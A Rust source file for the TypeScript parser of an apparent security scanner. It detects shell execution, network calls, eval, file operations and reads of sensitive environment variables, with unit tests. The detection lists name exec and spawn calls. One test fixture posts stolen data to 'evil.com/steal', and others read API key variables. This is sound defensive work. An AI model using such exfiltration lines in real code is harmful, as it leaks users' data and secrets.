1use std::collections::HashSet;
2use std::path::{Path, PathBuf};
3
4use once_cell::sync::Lazy;
5use regex::Regex;
6
7use super::{CallSite, FunctionDef, FunctionParam, LanguageParser, ParsedFile};
8use crate::analysis::cross_file::{SanitizerCategory, sanitizer_category, sanitizer_label};
9use crate::analysis::sensitivity::looks_sensitive_name;
10use crate::error::Result;
11use crate::ir::execution_surface::*;
12use crate::ir::{ArgumentSource, Language, SourceLocation};
13
14pub struct TypeScriptParser;
15
16static EXEC_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
19 vec![
20 "exec",
21 "execSync",
22 "execFile",
23 "execFileSync",
24 "spawn",
25 "spawnSync",
26 "child_process.exec",
27 "child_process.execSync",
28 "child_process.execFile",
29 "child_process.execFileSync",
30 "child_process.spawn",
31 "child_process.spawnSync",
32 "cp.exec",
33 "cp.execSync",
34 "cp.spawn",
35 "cp.spawnSync",
36 "shelljs.exec",
37 "execa",
38 "execaSync",
39 ]
40});
41
42static NETWORK_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
43 vec![
44 "fetch",
45 "http.get",
46 "http.request",
47 "https.get",
48 "https.request",
49 "axios",
50 "axios.get",
51 "axios.post",
52 "axios.put",
53 "axios.patch",
54 "axios.delete",
55 "axios.request",
56 "got",
57 "got.get",
58 "got.post",
59 "got.put",
60 "got.patch",
61 "got.delete",
62 "request",
63 "request.get",
64 "request.post",
65 "superagent.get",
66 "superagent.post",
67 "undici.fetch",
68 "undici.request",
69 ]
70});
71
72static FILE_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
73 vec![
74 "readFile",
75 "readFileSync",
76 "writeFile",
77 "writeFileSync",
78 "appendFile",
79 "appendFileSync",
80 "unlink",
81 "unlinkSync",
82 "readdir",
83 "readdirSync",
84 "fs.readFile",
85 "fs.readFileSync",
86 "fs.writeFile",
87 "fs.writeFileSync",
88 "fs.appendFile",
89 "fs.appendFileSync",
90 "fs.unlink",
91 "fs.unlinkSync",
92 "fs.readdir",
93 "fs.readdirSync",
94 "fs.promises.readFile",
95 "fs.promises.writeFile",
96 "fs.promises.unlink",
97 "fs.promises.readdir",
98 "Deno.readTextFile",
99 "Deno.writeTextFile",
100 "Deno.readFile",
101 "Deno.writeFile",
102 "Bun.file",
103 ]
104});
105
106static DYNAMIC_EXEC_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
107 vec![
108 "eval",
109 "Function",
110 "vm.runInThisContext",
111 "vm.runInNewContext",
112 ]
113});
114
115static TEMPLATE_LITERAL_RE: Lazy<Regex> =
117 Lazy::new(|| Regex::new(r"\$\{[^}]+\}").expect("static regex pattern is valid"));
118
119static SANITIZER_ASSIGN_RE: Lazy<Regex> = Lazy::new(|| {
122 Regex::new(r"(?:const|let|var)\s+(\w+)\s*=\s*(?:await\s+)?(\w+(?:\.\w+)*)\s*\(")
123 .expect("static regex pattern is valid")
124});
125
126#[cfg(feature = "typescript")]
129impl LanguageParser for TypeScriptParser {
130 fn language(&self) -> Language {
131 Language::TypeScript
132 }
133
134 fn parse_file(&self, path: &Path, content: &str) -> Result<ParsedFile> {
135 let mut parser = tree_sitter::Parser::new();
136 let is_tsx = path
137 .extension()
138 .is_some_and(|ext| ext == "tsx" || ext == "jsx");
139
140 let lang = if is_tsx {
141 tree_sitter_typescript::LANGUAGE_TSX
142 } else {
143 tree_sitter_typescript::LANGUAGE_TYPESCRIPT
144 };
145
146 parser
147 .set_language(&lang.into())
148 .map_err(|e| crate::error::ShieldError::Parse {
149 file: path.display().to_string(),
150 message: format!("Failed to load TypeScript grammar: {e}"),
151 })?;
152
153 let tree = parser
154 .parse(content, None)
155 .ok_or_else(|| crate::error::ShieldError::Parse {
156 file: path.display().to_string(),
157 message: "tree-sitter failed to parse TypeScript".into(),
158 })?;
159
160 let file_path = PathBuf::from(path);
161 let source = content.as_bytes();
162 let mut parsed = ParsedFile::default();
163 let mut param_names = HashSet::new();
164
165 detect_sanitizer_assignments(content, &mut parsed.sanitized_vars);
167
168 collect_params(
170 tree.root_node(),
171 source,
172 &file_path,
173 &mut param_names,
174 &mut parsed,
175 );
176
177 walk_node(
179 tree.root_node(),
180 source,
181 &file_path,
182 ¶m_names,
183 &mut parsed,
184 );
185
186 Ok(parsed)
187 }
188}
189
190#[cfg(feature = "typescript")]
192fn collect_params(
193 node: tree_sitter::Node,
194 source: &[u8],
195 file_path: &Path,
196 param_names: &mut HashSet<String>,
197 parsed: &mut ParsedFile,
198) {
199 let kind = node.kind();
200
201 if kind == "function_declaration"
203 || kind == "function"
204 || kind == "arrow_function"
205 || kind == "method_definition"
206 || kind == "function_expression"
207 {
208 let func_name = extract_function_name(node, source).unwrap_or_default();
209 let mut func_params = Vec::new();
210
211 if let Some(params_node) = node.child_by_field_name("parameters") {
212 for i in 0..params_node.named_child_count() {
213 if let Some(param) = params_node.named_child(i) {
214 for name in extract_param_names(param, source) {
215 if name != "this" {
216 param_names.insert(name.clone());
217 func_params.push(name.clone());
218 parsed.function_params.push(FunctionParam {
219 function_name: func_name.clone(),
220 param_name: name,
221 location: loc(file_path, param),
222 });
223 }
224 }
225 }
226 }
227 }
228
229 if !func_name.is_empty() {
231 let is_exported = is_exported_node(node, source);
232 parsed.function_defs.push(FunctionDef {
233 name: func_name,
234 params: func_params,
235 is_exported,
236 location: loc(file_path, node),
237 });
238 }
239 }
240
241 for i in 0..node.named_child_count() {
243 if let Some(child) = node.named_child(i) {
244 collect_params(child, source, file_path, param_names, parsed);
245 }
246 }
247}
248
249#[cfg(feature = "typescript")]
251fn is_exported_node(node: tree_sitter::Node, source: &[u8]) -> bool {
252 let mut current = node;
254 while let Some(parent) = current.parent() {
255 let pk = parent.kind();
256 if pk == "export_statement" {
257 return true;
258 }
259 if pk == "program" || pk == "statement_block" {
261 break;
262 }
263 current = parent;
264 }
265 if let Some(parent) = node.parent() {
268 let parent_text = node_text(parent, source);
269 if parent_text.contains("module.exports") || parent_text.contains("exports.") {
270 return true;
271 }
272 }
273 false
274}
275
276#[cfg(feature = "typescript")]
278fn extract_function_name(node: tree_sitter::Node, source: &[u8]) -> Option<String> {
279 if let Some(name_node) = node.child_by_field_name("name") {
281 return Some(node_text(name_node, source).to_string());
282 }
283
284 if node.kind() == "arrow_function" || node.kind() == "function_expression" {
287 if let Some(parent) = node.parent() {
288 if parent.kind() == "variable_declarator" {
289 if let Some(name_node) = parent.child_by_field_name("name") {
290 return Some(node_text(name_node, source).to_string());
291 }
292 }
293 }
294 }
295
296 None
297}
298
299#[cfg(feature = "typescript")]
302fn extract_param_names(node: tree_sitter::Node, source: &[u8]) -> Vec<String> {
303 match node.kind() {
304 "required_parameter" | "optional_parameter" => {
306 if let Some(pattern) = node.child_by_field_name("pattern") {
307 if pattern.kind() == "identifier" {
308 return vec![node_text(pattern, source).to_string()];
309 }
310 if pattern.kind() == "object_pattern" {
312 return extract_object_pattern_names(pattern, source);
313 }
314 if pattern.kind() == "array_pattern" {
316 return extract_array_pattern_names(pattern, source);
317 }
318 }
319 vec![]
320 }
321 "rest_pattern" => {
323 for i in 0..node.named_child_count() {
324 if let Some(child) = node.named_child(i) {
325 if child.kind() == "identifier" {
326 return vec![node_text(child, source).to_string()];
327 }
328 }
329 }
330 vec![]
331 }
332 "identifier" => vec![node_text(node, source).to_string()],
334 _ => vec![],
335 }
336}
337
338#[cfg(feature = "typescript")]
340fn extract_object_pattern_names(node: tree_sitter::Node, source: &[u8]) -> Vec<String> {
341 let mut names = Vec::new();
342 for i in 0..node.named_child_count() {
343 if let Some(child) = node.named_child(i) {
344 match child.kind() {
345 "shorthand_property_identifier_pattern" => {
347 names.push(node_text(child, source).to_string());
348 }
349 "pair_pattern" => {
351 if let Some(value) = child.child_by_field_name("value") {
352 if value.kind() == "identifier" {
353 names.push(node_text(value, source).to_string());
354 }
355 }
356 }
357 _ => {}
358 }
359 }
360 }
361 names
362}
363
364#[cfg(feature = "typescript")]
366fn extract_array_pattern_names(node: tree_sitter::Node, source: &[u8]) -> Vec<String> {
367 let mut names = Vec::new();
368 for i in 0..node.named_child_count() {
369 if let Some(child) = node.named_child(i) {
370 if child.kind() == "identifier" {
371 names.push(node_text(child, source).to_string());
372 }
373 }
374 }
375 names
376}
377
378#[cfg(feature = "typescript")]
380fn walk_node(
381 node: tree_sitter::Node,
382 source: &[u8],
383 file_path: &Path,
384 param_names: &HashSet<String>,
385 parsed: &mut ParsedFile,
386) {
387 let kind = node.kind();
388
389 if kind == "member_expression" || kind == "subscript_expression" {
391 let text = node_text(node, source);
392 if text.starts_with("process.env") {
393 let var_name = extract_env_var_name(node, source);
394 if let Some(name) = &var_name {
395 let is_sensitive = looks_sensitive_name(name);
396 parsed.env_accesses.push(EnvAccess {
397 var_name: ArgumentSource::Literal(name.clone()),
398 is_sensitive,
399 location: loc(file_path, node),
400 });
401 }
402 }
403 }
404
405 if kind == "call_expression" {
407 if let Some(func_node) = node.child_by_field_name("function") {
408 let func_name = resolve_call_name(func_node, source);
409
410 let args_node = node.child_by_field_name("arguments");
412 let all_arg_sources =
413 classify_all_arguments(args_node, source, param_names, &parsed.sanitized_vars);
414
415 let arg_source = all_arg_sources
417 .first()
418 .cloned()
419 .unwrap_or(ArgumentSource::Unknown);
420
421 let caller_name = find_enclosing_function(node, source);
423 parsed.call_sites.push(CallSite {
424 callee: func_name.clone(),
425 arguments: all_arg_sources,
426 caller: caller_name,
427 location: loc(file_path, node),
428 });
429
430 if matches_pattern(&func_name, &EXEC_PATTERNS) {
432 parsed.commands.push(CommandInvocation {
433 function: func_name.clone(),
434 command_arg: arg_source.clone(),
435 location: loc(file_path, node),
436 });
437 }
438
439 if matches_pattern(&func_name, &NETWORK_PATTERNS) {
441 let full_args_text = node
442 .child_by_field_name("arguments")
443 .map(|a| node_text(a, source).to_string())
444 .unwrap_or_default();
445 let sends_data = func_name.contains("post")
446 || func_name.contains("put")
447 || func_name.contains("patch")
448 || full_args_text.contains("body:")
449 || full_args_text.contains("data:");
450 let method = if func_name.contains("get") {
451 Some("GET".into())
452 } else if func_name.contains("post") {
453 Some("POST".into())
454 } else if func_name.contains("put") {
455 Some("PUT".into())
456 } else {
457 None
458 };
459 parsed.network_operations.push(NetworkOperation {
460 function: func_name.clone(),
461 url_arg: arg_source.clone(),
462 method,
463 sends_data,
464 location: loc(file_path, node),
465 });
466 }
467
468 if DYNAMIC_EXEC_PATTERNS.contains(&func_name.as_str()) {
470 parsed.dynamic_exec.push(DynamicExec {
471 function: func_name.clone(),
472 code_arg: arg_source.clone(),
473 location: loc(file_path, node),
474 });
475 }
476
477 if matches_pattern(&func_name, &FILE_PATTERNS) {
479 let op_type = if func_name.contains("write") || func_name.contains("append") {
480 FileOpType::Write
481 } else if func_name.contains("unlink") {
482 FileOpType::Delete
483 } else if func_name.contains("readdir") {
484 FileOpType::List
485 } else {
486 FileOpType::Read
487 };
488 parsed.file_operations.push(FileOperation {
489 operation: op_type,
490 path_arg: arg_source.clone(),
491 location: loc(file_path, node),
492 });
493 }
494 }
495 }
496
497 if kind == "new_expression" {
502 if let Some(constructor_node) = node.child_by_field_name("constructor") {
503 let constructor_name = resolve_call_name(constructor_node, source);
504 let args_node = node.child_by_field_name("arguments");
505 let all_arg_sources =
506 classify_all_arguments(args_node, source, param_names, &parsed.sanitized_vars);
507 let code_arg = all_arg_sources
508 .first()
509 .cloned()
510 .unwrap_or(ArgumentSource::Unknown);
511 let location = loc(file_path, node);
512
513 parsed.call_sites.push(CallSite {
514 callee: constructor_name.clone(),
515 arguments: all_arg_sources,
516 caller: find_enclosing_function(node, source),
517 location: location.clone(),
518 });
519
520 if constructor_name == "Function" {
521 parsed.dynamic_exec.push(DynamicExec {
522 function: constructor_name,
523 code_arg,
524 location,
525 });
526 }
527 }
528 }
529
530 for i in 0..node.named_child_count() {
532 if let Some(child) = node.named_child(i) {
533 walk_node(child, source, file_path, param_names, parsed);
534 }
535 }
536}
537
538#[cfg(feature = "typescript")]
540fn classify_all_arguments(
541 args_node: Option<tree_sitter::Node>,
542 source: &[u8],
543 param_names: &HashSet<String>,
544 sanitized_vars: &HashSet<String>,
545) -> Vec<ArgumentSource> {
546 let Some(args) = args_node else {
547 return Vec::new();
548 };
549 let mut result = Vec::new();
550 for i in 0..args.named_child_count() {
551 if let Some(arg) = args.named_child(i) {
552 let arg_text = node_text(arg, source).to_string();
553 result.push(classify_argument_with_sanitizers(
554 &arg_text,
555 param_names,
556 sanitized_vars,
557 ));
558 }
559 }
560 result
561}
562
563#[cfg(feature = "typescript")]
565fn find_enclosing_function(node: tree_sitter::Node, source: &[u8]) -> Option<String> {
566 let mut current = node;
567 while let Some(parent) = current.parent() {
568 let pk = parent.kind();
569 if pk == "function_declaration"
570 || pk == "function"
571 || pk == "arrow_function"
572 || pk == "method_definition"
573 || pk == "function_expression"
574 {
575 return extract_function_name(parent, source);
576 }
577 current = parent;
578 }
579 None
580}
581
582#[cfg(feature = "typescript")]
585fn resolve_call_name(node: tree_sitter::Node, source: &[u8]) -> String {
586 match node.kind() {
587 "identifier" => node_text(node, source).to_string(),
588 "member_expression" | "optional_chain_expression" => {
589 node_text(node, source).replace(['\n', ' '], "").to_string()
591 }
592 _ => node_text(node, source).to_string(),
593 }
594}
595
596#[cfg(feature = "typescript")]
598fn extract_env_var_name(node: tree_sitter::Node, source: &[u8]) -> Option<String> {
599 let text = node_text(node, source);
600 if let Some(rest) = text.strip_prefix("process.env.") {
602 return Some(rest.to_string());
603 }
604 if node.kind() == "subscript_expression" {
606 if let Some(index) = node.child_by_field_name("index") {
607 let idx_text = node_text(index, source);
608 let trimmed = idx_text.trim_matches('"').trim_matches('\'').to_string();
609 if !trimmed.is_empty() {
610 return Some(trimmed);
611 }
612 }
613 }
614 None
615}
616
617#[cfg(feature = "typescript")]
619fn node_text<'a>(node: tree_sitter::Node, source: &'a [u8]) -> &'a str {
620 node.utf8_text(source).unwrap_or("")
621}
622
623#[cfg(feature = "typescript")]
625fn loc(file: &Path, node: tree_sitter::Node) -> SourceLocation {
626 let start = node.start_position();
627 let end = node.end_position();
628 SourceLocation {
629 file: file.to_path_buf(),
630 line: start.row + 1,
631 column: start.column,
632 end_line: Some(end.row + 1),
633 end_column: Some(end.column),
634 }
635}
636
637fn detect_sanitizer_assignments(content: &str, sanitized_vars: &mut HashSet<String>) {
642 for cap in SANITIZER_ASSIGN_RE.captures_iter(content) {
643 let var_name = &cap[1];
644 let func_name = &cap[2];
645 if sanitizer_category(func_name)
646 .is_some_and(|category| !matches!(category, SanitizerCategory::Redaction))
647 {
648 sanitized_vars.insert(var_name.to_string());
649 if let Some(label) = sanitizer_label(func_name) {
650 sanitized_vars.insert(sanitized_var_marker(var_name, &label));
651 }
652 }
653 }
654}
655
656fn sanitized_var_marker(var_name: &str, sanitizer_label: &str) -> String {
657 format!("{var_name}::{sanitizer_label}")
658}
659
660fn sanitized_label_for_var(ident: &str, sanitized_vars: &HashSet<String>) -> Option<String> {
661 for category in [
662 SanitizerCategory::Path,
663 SanitizerCategory::Network,
664 SanitizerCategory::TypeCoercion,
665 ] {
666 let prefix = format!("{}:", category.as_str());
667 if let Some(marker) = sanitized_vars
668 .iter()
669 .find(|value| value.starts_with(&format!("{ident}::{prefix}")))
670 {
671 return marker.split_once("::").map(|(_, label)| label.to_string());
672 }
673 }
674
675 sanitized_vars.contains(ident).then(|| ident.to_string())
676}
677
678fn classify_argument_with_sanitizers(
680 arg_text: &str,
681 param_names: &HashSet<String>,
682 sanitized_vars: &HashSet<String>,
683) -> ArgumentSource {
684 let first_arg = arg_text.split(',').next().unwrap_or("").trim();
685
686 if first_arg.is_empty() {
687 return ArgumentSource::Unknown;
688 }
689
690 let ident = first_arg.split('.').next().unwrap_or(first_arg);
692 let ident = ident.split('[').next().unwrap_or(ident);
693 if let Some(sanitizer) = sanitized_label_for_var(ident, sanitized_vars) {
694 return ArgumentSource::Sanitized { sanitizer };
695 }
696
697 classify_argument_text(first_arg, param_names)
699}
700
701#[cfg(not(feature = "typescript"))]
704static CALL_RE: Lazy<Regex> = Lazy::new(|| {
705 Regex::new(r"(?m)(\w+(?:\.\w+)*)\s*\(([^)]*)\)").expect("static regex pattern is valid")
706});
707
708#[cfg(not(feature = "typescript"))]
709static ENV_ACCESS_RE: Lazy<Regex> = Lazy::new(|| {
710 Regex::new(r#"(?m)process\.env\s*(?:\[\s*["']([^"']+)["']\s*\]|\.([A-Z_][A-Z0-9_]*))"#)
711 .expect("static regex pattern is valid")
712});
713
714#[cfg(not(feature = "typescript"))]
715static FUNC_DEF_RE: Lazy<Regex> = Lazy::new(|| {
716 Regex::new(
717 r"(?m)(?:(?:export\s+)?(?:async\s+)?function\s+(\w+)\s*\(([^)]*)\)|(?:const|let|var)\s+(\w+)\s*=\s*(?:async\s+)?\(([^)]*)\)\s*(?:=>|:\s*\w+\s*=>)|(\w+)\s*\(([^)]*)\)\s*(?::\s*\w+\s*)?\{)"
718 ).expect("static regex pattern is valid")
719});
720
721#[cfg(not(feature = "typescript"))]
722impl LanguageParser for TypeScriptParser {
723 fn language(&self) -> Language {
724 Language::TypeScript
725 }
726
727 fn parse_file(&self, path: &Path, content: &str) -> Result<ParsedFile> {
728 let mut parsed = ParsedFile::default();
729 let file_path = PathBuf::from(path);
730 let mut param_names = HashSet::new();
731
732 detect_sanitizer_assignments(content, &mut parsed.sanitized_vars);
734
735 for cap in FUNC_DEF_RE.captures_iter(content) {
737 let params_str = cap
738 .get(2)
739 .or_else(|| cap.get(4))
740 .or_else(|| cap.get(6))
741 .map(|m| m.as_str())
742 .unwrap_or("");
743 let func_name = cap
744 .get(1)
745 .or_else(|| cap.get(3))
746 .or_else(|| cap.get(5))
747 .map(|m| m.as_str())
748 .unwrap_or("");
749
750 let full_match = cap.get(0).map(|m| m.as_str()).unwrap_or("");
751 let is_exported = full_match.starts_with("export");
752
753 let mut func_params = Vec::new();
754 for param in params_str.split(',') {
755 let param = param.trim();
756 if param.starts_with('{') || param.starts_with('[') {
757 continue;
758 }
759 let param = param.split(':').next().unwrap_or("").trim();
760 let param = param.split('=').next().unwrap_or("").trim();
761 let param = param.trim_start_matches("...");
762 let param = param.trim_end_matches('?');
763 if !param.is_empty() && param != "this" {
764 param_names.insert(param.to_string());
765 func_params.push(param.to_string());
766 parsed.function_params.push(FunctionParam {
767 function_name: func_name.to_string(),
768 param_name: param.to_string(),
769 location: regex_loc(&file_path, 0),
770 });
771 }
772 }
773
774 if !func_name.is_empty() {
775 parsed.function_defs.push(FunctionDef {
776 name: func_name.to_string(),
777 params: func_params,
778 is_exported,
779 location: regex_loc(&file_path, 0),
780 });
781 }
782 }
783
784 for (line_idx, line) in content.lines().enumerate() {
786 let line_num = line_idx + 1;
787 let trimmed = line.trim();
788
789 if trimmed.starts_with("//") || trimmed.starts_with('*') || trimmed.starts_with("/*") {
790 continue;
791 }
792
793 for cap in ENV_ACCESS_RE.captures_iter(line) {
794 let var_name = cap
795 .get(1)
796 .or_else(|| cap.get(2))
797 .map(|m| m.as_str().to_string())
798 .unwrap_or_default();
799 let is_sensitive = looks_sensitive_name(&var_name);
800 parsed.env_accesses.push(EnvAccess {
801 var_name: ArgumentSource::Literal(var_name),
802 is_sensitive,
803 location: regex_loc(&file_path, line_num),
804 });
805 }
806
807 for cap in CALL_RE.captures_iter(line) {
808 let func_name = &cap[1];
809 let args_str = &cap[2];
810 let arg_source = classify_argument_with_sanitizers(
811 args_str,
812 ¶m_names,
813 &parsed.sanitized_vars,
814 );
815
816 let all_args = args_str
818 .split(',')
819 .map(|a| {
820 classify_argument_with_sanitizers(
821 a.trim(),
822 ¶m_names,
823 &parsed.sanitized_vars,
824 )
825 })
826 .collect::<Vec<_>>();
827 parsed.call_sites.push(CallSite {
828 callee: func_name.to_string(),
829 arguments: all_args,
830 caller: None, location: regex_loc(&file_path, line_num),
832 });
833
834 if matches_pattern(func_name, &EXEC_PATTERNS) {
835 parsed.commands.push(CommandInvocation {
836 function: func_name.to_string(),
837 command_arg: arg_source.clone(),
838 location: regex_loc(&file_path, line_num),
839 });
840 }
841
842 if matches_pattern(func_name, &NETWORK_PATTERNS) {
843 let sends_data = func_name.contains("post")
844 || func_name.contains("put")
845 || func_name.contains("patch")
846 || args_str.contains("body:")
847 || args_str.contains("data:");
848 let method = if func_name.contains("get") {
849 Some("GET".into())
850 } else if func_name.contains("post") {
851 Some("POST".into())
852 } else if func_name.contains("put") {
853 Some("PUT".into())
854 } else {
855 None
856 };
857 parsed.network_operations.push(NetworkOperation {
858 function: func_name.to_string(),
859 url_arg: arg_source.clone(),
860 method,
861 sends_data,
862 location: regex_loc(&file_path, line_num),
863 });
864 }
865
866 if DYNAMIC_EXEC_PATTERNS.contains(&func_name) {
867 parsed.dynamic_exec.push(DynamicExec {
868 function: func_name.to_string(),
869 code_arg: arg_source.clone(),
870 location: regex_loc(&file_path, line_num),
871 });
872 }
873
874 if matches_pattern(func_name, &FILE_PATTERNS) {
875 let op_type = if func_name.contains("write") || func_name.contains("append") {
876 FileOpType::Write
877 } else if func_name.contains("unlink") {
878 FileOpType::Delete
879 } else if func_name.contains("readdir") {
880 FileOpType::List
881 } else {
882 FileOpType::Read
883 };
884 parsed.file_operations.push(FileOperation {
885 operation: op_type,
886 path_arg: arg_source.clone(),
887 location: regex_loc(&file_path, line_num),
888 });
889 }
890 }
891 }
892
893 Ok(parsed)
894 }
895}
896
897#[cfg(not(feature = "typescript"))]
898fn regex_loc(file: &Path, line: usize) -> SourceLocation {
899 SourceLocation {
900 file: file.to_path_buf(),
901 line,
902 column: 0,
903 end_line: None,
904 end_column: None,
905 }
906}
907
908fn matches_pattern(func_name: &str, patterns: &[&str]) -> bool {
912 patterns
913 .iter()
914 .any(|p| func_name == *p || func_name.ends_with(p))
915}
916
917fn classify_argument_text(arg_text: &str, param_names: &HashSet<String>) -> ArgumentSource {
919 let first_arg = arg_text.split(',').next().unwrap_or("").trim();
920
921 if first_arg.is_empty() {
922 return ArgumentSource::Unknown;
923 }
924
925 if (first_arg.starts_with('"') && first_arg.ends_with('"'))
927 || (first_arg.starts_with('\'') && first_arg.ends_with('\''))
928 {
929 if first_arg.len() >= 2 {
930 let val = &first_arg[1..first_arg.len() - 1];
931 return ArgumentSource::Literal(val.to_string());
932 }
933 return ArgumentSource::Literal(String::new());
934 }
935
936 if first_arg.starts_with('`') {
938 if TEMPLATE_LITERAL_RE.is_match(first_arg) {
939 return ArgumentSource::Interpolated;
940 }
941 let val = first_arg.trim_matches('`');
942 return ArgumentSource::Literal(val.to_string());
943 }
944
945 if first_arg.contains('+') && (first_arg.contains('"') || first_arg.contains('\'')) {
947 return ArgumentSource::Interpolated;
948 }
949
950 if first_arg.contains("process.env") {
952 return ArgumentSource::EnvVar {
953 name: first_arg.to_string(),
954 };
955 }
956
957 let ident = first_arg.split('.').next().unwrap_or(first_arg);
959 let ident = ident.split('[').next().unwrap_or(ident);
960 if param_names.contains(ident) {
961 return ArgumentSource::Parameter {
962 name: ident.to_string(),
963 };
964 }
965
966 ArgumentSource::Unknown
967}
968
969#[cfg(test)]
970mod tests {
971 use super::*;
972
973 #[test]
974 fn detects_exec_with_param() {
975 let code = r#"
976import { exec } from "child_process";
977
978function runCommand(command: string) {
979 exec(command);
980}
981"#;
982 let parsed = TypeScriptParser
983 .parse_file(Path::new("test.ts"), code)
984 .unwrap();
985 assert_eq!(parsed.commands.len(), 1);
986 assert!(matches!(
987 parsed.commands[0].command_arg,
988 ArgumentSource::Parameter { .. }
989 ));
990 }
991
992 #[test]
993 fn detects_spawn_with_interpolation() {
994 let code = r#"
995function run(cmd: string) {
996 exec(`${cmd} --flag`);
997}
998"#;
999 let parsed = TypeScriptParser
1000 .parse_file(Path::new("test.ts"), code)
1001 .unwrap();
1002 assert_eq!(parsed.commands.len(), 1);
1003 assert!(matches!(
1004 parsed.commands[0].command_arg,
1005 ArgumentSource::Interpolated
1006 ));
1007 }
1008
1009 #[test]
1010 fn detects_fetch_with_param() {
1011 let code = r#"
1012async function fetchUrl(url: string) {
1013 const resp = await fetch(url);
1014 return resp.json();
1015}
1016"#;
1017 let parsed = TypeScriptParser
1018 .parse_file(Path::new("test.ts"), code)
1019 .unwrap();
1020 assert_eq!(parsed.network_operations.len(), 1);
1021 assert!(matches!(
1022 parsed.network_operations[0].url_arg,
1023 ArgumentSource::Parameter { .. }
1024 ));
1025 }
1026
1027 #[test]
1028 fn safe_literal_url_not_flagged() {
1029 let code = r#"
1030async function getHealth() {
1031 const resp = await fetch("https://api.example.com/health");
1032 return resp.json();
1033}
1034"#;
1035 let parsed = TypeScriptParser
1036 .parse_file(Path::new("test.ts"), code)
1037 .unwrap();
1038 assert_eq!(parsed.network_operations.len(), 1);
1039 assert!(matches!(
1040 parsed.network_operations[0].url_arg,
1041 ArgumentSource::Literal(_)
1042 ));
1043 }
1044
1045 #[test]
1046 fn detects_env_var_access() {
1047 let code = r#"
1048const apiKey = process.env["OPENAI_API_KEY"];
1049const secret = process.env.AWS_SECRET_ACCESS_KEY;
1050"#;
1051 let parsed = TypeScriptParser
1052 .parse_file(Path::new("test.ts"), code)
1053 .unwrap();
1054 assert_eq!(parsed.env_accesses.len(), 2);
1055 assert!(parsed.env_accesses[0].is_sensitive);
1056 assert!(parsed.env_accesses[1].is_sensitive);
1057 }
1058
1059 #[test]
1060 fn detects_eval() {
1061 let code = r#"
1062function execute(code: string) {
1063 eval(code);
1064}
1065"#;
1066 let parsed = TypeScriptParser
1067 .parse_file(Path::new("test.ts"), code)
1068 .unwrap();
1069 assert_eq!(parsed.dynamic_exec.len(), 1);
1070 assert!(matches!(
1071 parsed.dynamic_exec[0].code_arg,
1072 ArgumentSource::Parameter { .. }
1073 ));
1074 }
1075
1076 #[test]
1077 fn detects_file_operations() {
1078 let code = r#"
1079import fs from "fs";
1080
1081function readConfig(path: string) {
1082 return fs.readFileSync(path, "utf-8");
1083}
1084"#;
1085 let parsed = TypeScriptParser
1086 .parse_file(Path::new("test.ts"), code)
1087 .unwrap();
1088 assert_eq!(parsed.file_operations.len(), 1);
1089 assert!(matches!(
1090 parsed.file_operations[0].path_arg,
1091 ArgumentSource::Parameter { .. }
1092 ));
1093 }
1094
1095 #[test]
1096 fn detects_arrow_function_params() {
1097 let code = r#"
1098const handler = async (url: string) => {
1099 const resp = await fetch(url);
1100 return resp.text();
1101};
1102"#;
1103 let parsed = TypeScriptParser
1104 .parse_file(Path::new("test.ts"), code)
1105 .unwrap();
1106 assert_eq!(parsed.network_operations.len(), 1);
1107 assert!(matches!(
1108 parsed.network_operations[0].url_arg,
1109 ArgumentSource::Parameter { .. }
1110 ));
1111 }
1112
1113 #[test]
1114 fn detects_axios_post() {
1115 let code = r#"
1116async function exfiltrate(data: string) {
1117 await axios.post("https://evil.com/steal", { body: data });
1118}
1119"#;
1120 let parsed = TypeScriptParser
1121 .parse_file(Path::new("test.ts"), code)
1122 .unwrap();
1123 assert_eq!(parsed.network_operations.len(), 1);
1124 assert!(parsed.network_operations[0].sends_data);
1125 }
1126
1127 #[cfg(feature = "typescript")]
1130 #[test]
1131 fn detects_multiline_exec_call() {
1132 let code = r#"
1133function runCommand(command: string) {
1134 exec(
1135 command,
1136 { encoding: "utf-8" }
1137 );
1138}
1139"#;
1140 let parsed = TypeScriptParser
1141 .parse_file(Path::new("test.ts"), code)
1142 .unwrap();
1143 assert_eq!(parsed.commands.len(), 1);
1144 assert!(matches!(
1145 parsed.commands[0].command_arg,
1146 ArgumentSource::Parameter { .. }
1147 ));
1148 }
1149
1150 #[cfg(feature = "typescript")]
1151 #[test]
1152 fn detects_multiline_fetch() {
1153 let code = r#"
1154async function sendData(url: string) {
1155 const resp = await fetch(
1156 url,
1157 {
1158 method: "POST",
1159 body: JSON.stringify({ key: "value" }),
1160 }
1161 );
1162 return resp.json();
1163}
1164"#;
1165 let parsed = TypeScriptParser
1166 .parse_file(Path::new("test.ts"), code)
1167 .unwrap();
1168 assert_eq!(parsed.network_operations.len(), 1);
1169 assert!(matches!(
1170 parsed.network_operations[0].url_arg,
1171 ArgumentSource::Parameter { .. }
1172 ));
1173 }
1174
1175 #[cfg(feature = "typescript")]
1176 #[test]
1177 fn detects_nested_callback_exec() {
1178 let code = r#"
1179function runCommand(command: string): Promise<string> {
1180 return new Promise((resolve, reject) => {
1181 exec(command, (error, stdout) => {
1182 if (error) reject(error);
1183 resolve(stdout);
1184 });
1185 });
1186}
1187"#;
1188 let parsed = TypeScriptParser
1189 .parse_file(Path::new("test.ts"), code)
1190 .unwrap();
1191 assert_eq!(parsed.commands.len(), 1);
1192 assert!(matches!(
1193 parsed.commands[0].command_arg,
1194 ArgumentSource::Parameter { .. }
1195 ));
1196 }
1197
1198 #[cfg(feature = "typescript")]
1199 #[test]
1200 fn accurate_line_numbers() {
1201 let code = r#"
1202// line 2
1203// line 3
1204function dangerous(cmd: string) {
1205 exec(cmd);
1206}
1207"#;
1208 let parsed = TypeScriptParser
1209 .parse_file(Path::new("test.ts"), code)
1210 .unwrap();
1211 assert_eq!(parsed.commands.len(), 1);
1212 assert_eq!(parsed.commands[0].location.line, 5);
1214 }
1215
1216 #[cfg(feature = "typescript")]
1217 #[test]
1218 fn handles_tsx_file() {
1219 let code = r#"
1220import React from "react";
1221
1222const Component = ({ url }: { url: string }) => {
1223 const data = fetch(url);
1224 return <div>{data}</div>;
1225};
1226"#;
1227 let parsed = TypeScriptParser
1228 .parse_file(Path::new("component.tsx"), code)
1229 .unwrap();
1230 assert_eq!(parsed.network_operations.len(), 1);
1231 assert!(matches!(
1232 parsed.network_operations[0].url_arg,
1233 ArgumentSource::Parameter { .. }
1234 ));
1235 }
1236
1237 #[test]
1240 fn extracts_function_defs() {
